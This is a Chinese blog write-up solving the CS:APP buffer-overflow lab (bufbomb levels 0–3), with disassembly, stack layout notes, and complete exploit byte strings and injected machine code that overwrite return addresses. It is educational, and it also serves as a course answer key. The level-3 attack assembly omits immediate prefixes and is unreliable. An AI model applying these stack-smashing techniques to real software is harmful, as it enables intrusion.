深入理解计算机系统lab3,csapp buffer lab (《深入理解计算机系统》lab3)

lab3 buflab。一个训练你利用buffer漏洞干一些非法的事情(狐狸脸ing)的

lab3 buflab。一个训练你利用buffer漏洞干一些非法的事情(狐狸脸ing)的lab。。

总体难度比上一个lab 即bomb lab简单一些,只要弄清楚buffer的原理还是比较容易做的。

*************************************************************************************************************************************************************************************

首先看看level0-3所用的getbuf函数,程序利用这个函数来建立buffer

08048ca4 :

8048ca4:55

push %ebp

8048ca5:89 e5

mov %esp,%ebp

8048ca7:83 ec 38

sub $0x38,%esp

8048caa:8d 45 d8

lea -0x28(%ebp),%eax

8048cad:89 04 24

mov %eax,(%esp)

8048cb0:e8 3c ff ff ff

call 8048bf1

8048cb5:b8 01 00 00 00

mov $0x1,%eax

8048cba:c9

leave

8048cbb:c3

ret 0x28+0x4(retaddr)+0x4(saved %esp)构成了getbuf的栈结构,具体结构图如下:

f6732ecdc572131c1e59f4572e78713b.png

整个buffer共有48byte

*************************************************************************************************************************************************************************

level 0:

Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement,rather than returning to test

查找到函数的位置,

08049174 :

8049174:55

push %ebp

8049175:89 e5

mov %esp,%ebp那么把retaddr替换成08 04 91 74(注意little endian)即可

answer:

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

74 91 04 08

前面的44个byte是任意填充的。

*************************************************************************************************************************************************************************

level 1:

your task is to get BUFBOMB to execute the code for fizz rather than returning to test.

08049129 :

8049129:55

push %ebp

804912a:89 e5

mov %esp,%ebp

804912c:83 ec 18

sub $0x18,%esp

804912f:8b 45 08

mov 0x8(%ebp),%eax

8049132:3b 05 c4 b1 04 08

cmp 0x804b1c4,%eax

8049138:75 1e

jne 8049158

804913a:89 44 24 04

mov %eax,0x4(%esp)

这个比上一个复杂一点,要跳入函数,还需要在0x8(%ebp)中放0x804b1c4中存的数值。查找到这个地址中的数值,发现就是cookie值(po主cookie是0x51ade980),那么只需要把0x51ade980放入buffer中的0x8(%ebp)中即可。

在中先push %ebp 此时ebp位置在retaddr,那么0x8(%ebp)就是在栈顶下面的位置。

答案也就有了

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

29 91 04 08

00 00 00 00

80 e9 ad 51

*************************************************************************************************************************************************************************

level 2:

your task is to get BUFBOMB to execute the code for bang rather than returning to test

080490dc :

80490dc:55

push %ebp

80490dd:89 e5

mov %esp,%ebp

80490df:83 ec 18

sub $0x18,%esp

80490e2:a1 cc b1 04 08

mov 0x804b1cc,%eax

80490e7:3b 05 c4 b1 04 08

cmp 0x804b1c4,%eax

80490ed:75 1e

jne 804910d

从这题开始难度增加,查看函数,要把内存中的0x804b1cc 中的值取出来与0x804b1c4(这个上一题已经得出是cookie值)比较,查看0x804b1cc,发现是一个<.global_value>,那么就要修改这个值,使其变成cookie值,写一段攻击代码如下:

movl $0x51ade980,%eax

movl %eax,0x804b1cc

pushl $0x80490dc

ret利用gcc编译后得到.o文件再反编译得到其二进制代码,填入buffer,注意,还要查找到the start of input string来作为第一次retaddr,那么程序就从第一次return到我们输入的字符串,然后执行我们的攻击代码,再进入,完成任务。

查找start of input string的方法是在中设置断点(关于gdb使用请参考上一篇博文,关于bomb lab的那篇),查找-0x28(%ebp)的地址(这个地址是我们输入的buffer区的起始位置)

答案:

c7 05 cc b1 04 08 80 e9

ad 51 68 dc 90 04 08 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 48 3b 68 55

**********************************************************************************************************************************************************

level 3:

Your job for this level is to supply an exploit string that will cause getbuf to return your cookie back to test, rather than the value 1.

08048d25 :

8048d25:55

push %ebp

8048d26:89 e5

mov %esp,%ebp

8048d28:53

push %ebx

8048d29:83 ec 24

sub $0x24,%esp

8048d2c:e8 9f fe ff ff

call 8048bd0

8048d31:89 45 f4

mov %eax,-0xc(%ebp)

8048d34:e8 6b ff ff ff

call 8048ca4

8048d39:89 c3

mov %eax,%ebx

这关是要使的返回值设置为cookie而不是原来的0x1.那么同上题一样的思想,我们写一段攻击代码

movl 0x51ade980,%eax

pushl 0x8048d39

ret

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值